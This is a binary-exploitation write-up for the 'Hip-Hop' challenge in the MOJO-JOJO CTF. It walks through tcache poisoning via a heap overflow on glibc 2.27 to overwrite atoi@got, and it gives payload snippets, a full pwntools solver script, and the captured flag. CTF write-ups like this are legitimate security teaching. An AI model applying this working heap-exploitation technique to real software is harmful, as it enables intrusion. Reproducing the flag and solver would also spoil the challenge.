archlinux / r3t0x@portfolio
ALL SYSTEMS NOMINAL /
← Back to archive · Pwn

MOJO-JOJO CTF / Pwn WRITEUP

HIP-HOP

MOJO-JOJO CTF binary-exploitation writeup.

EVENTMOJO-JOJO CTFCATEGORYPwnDIFFICULTYmediumPOINTSArchived
pwn

Walkthrough

The Hip-Hop Studio Manager challenge is a modern heap exploitation task targeting glibc 2.27 (Ubuntu 18.04). The goal is to leverage a heap overflow to perform a Tcache Poisoning attack and gain arbitrary write, ultimately overwriting a Global Offset Table (GOT) entry to redirect execution to a "debug" function that prints the flag.

Challenge Overview

  • Vulnerability: Heap overflow in the edit_lyrics function.
  • Constraint: The binary uses Partial RELRO, which leaves the .got.plt section writable.
  • Protection: PIE, NX, and Stack Canaries are enabled.
  • Target: Overwrite atoi@got with the address of the mic_check function.

Exploit Strategy: Tcache Poisoning

1. Leak and Reconnaissance

The binary conveniently prints the address of the tracks array in the BSS at startup. This allows us to calculate the binary base address and find the exact location of atoi@got and mic_check.

2. Heap Setup

We allocate two chunks of the same size (0x110 including headers). We then free the second chunk (idx1) to the tcache.

add() # idx 0
add() # idx 1
delete(1) # Free to tcache

3. Tcache Poisoning

Using the overflow in idx0, we overwrite the next pointer of the freed idx1 chunk with the address of atoi@got.

payload = b'A' * 0x100 + p64(0) + p64(0x111) + p64(atoi_got)
edit(0, payload)

4. Arbitrary Write

After poisoning the tcache, the next allocation of the same size will return the original heap chunk, but the allocation after that will return a pointer to atoi@got.

add() # Returns original idx 1
add() # Returns atoi@got!

5. GOT Overwrite and Trigger

We use the newly acquired pointer to atoi@got to write the address of the mic_check function. Finally, sending a menu choice (like '1') triggers a call to atoi, which is now redirected to mic_check.

Solver Usage

The included solve.py uses the provided dynamic loader (ld-linux-x86-64.so.2) to ensure compatibility across different host systems:

process(['./dist/ld-linux-x86-64.so.2', '--library-path', './dist', './dist/hiphop'])

POC Result

The exploit successfully triggers the mic_check function and retrieves the flag:

[+] Master Access Token Accepted!
    Retrieving secret flag...
MOJO-JOJO{h3ap_p0is0n1ng_i5_v3ry_3asy_0n_2_27}

Reference solver

The reference solver supplied with the writeup:

#!/usr/bin/env python3
from pwn import *
import re

# Context setup
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

# Use the loader to run the binary with the custom glibc
binary_path = './dist/hiphop'
loader_path = './dist/ld-linux-x86-64.so.2'
libc_dir = './dist'

binary = ELF(binary_path, checksec=False)

def strip_ansi(data):
    return re.sub(rb'\x1b\[[0-9;]*m', b'', data).decode('ascii')

def start():
    if args.REMOTE:
        return remote('localhost', 9008)
    else:
        # Launch binary using the loader for maximum reliability
        return process([loader_path, '--library-path', libc_dir, binary_path])

io = start()

def add():
    io.sendlineafter(b' >> ', b'1')
    return

def delete(idx):
    io.sendlineafter(b' >> ', b'2')
    io.sendlineafter(b'Idx: ', str(idx).encode())

def edit(idx, content):
    io.sendlineafter(b' >> ', b'3')
    io.sendlineafter(b'Idx: ', str(idx).encode())
    # Overflow exactly into next chunk metadata
    payload = content.ljust(0x100 + 0x20, b'\x00')
    io.sendafter(b'Lyrics: ', payload)

# 1. Leak and calculate offsets
io.recvuntil(b'[*] Console ready at \x1b[96m0x')
tracks_addr = int(io.recvuntil(b'\x1b', drop=True), 16)
log.success(f"Tracks at: {hex(tracks_addr)}")

# Symbol tracks @ 0x2030c0
binary.address = tracks_addr - 0x2030c0
log.info(f"Binary base: {hex(binary.address)}")

# 2. Tcache Poisoning
add() # 0
add() # 1

log.info("Freeing idx1 to tcache...")
delete(1)

# Overwrite idx1's next pointer with atoi@got
atoi_got = binary.got['atoi']
mic_check = binary.symbols['mic_check']
log.success(f"Targeting atoi@got: {hex(atoi_got)}")
log.success(f"mic_check: {hex(mic_check)}")

# idx0 -> data area (0x100 bytes)
payload = b'A' * 0x100
payload += p64(0)
payload += p64(0x111)
payload += p64(atoi_got)

log.info("Poisoning Tcache...")
edit(0, payload)

# 3. Allocations to reach GOT
add() # 1
add() # 2
log.success("Allocation 2 is at atoi@got!")

# 4. Overwrite atoi@got
log.info("Overwriting atoi@got...")
edit(2, p64(mic_check))

log.success("Triggering Shell (calling atoi)...")
io.sendline(b'1')

# Capture flag
flag_data = io.recvall(timeout=2)
flag = re.search(r'MOJO-JOJO\{.*?\}', flag_data.decode())
if flag:
    log.success(f"Flag captured: {flag.group(0)}")
else:
    log.info("Raw output:\n" + flag_data.decode())
    log.error("Flag not found!")

io.close()

Flag

MOJO-JOJO{h3ap_p0is0n1ng_i5_v3ry_3asy_0n_2_27}
Published 2026-09-28 · by r3t0x← Back to archive · Pwn
0xSEARCH_INDEX

Trace a memory.

INDEX ONLINE0 addresses
↑↓ TRACEENTER OPENESC DISMISS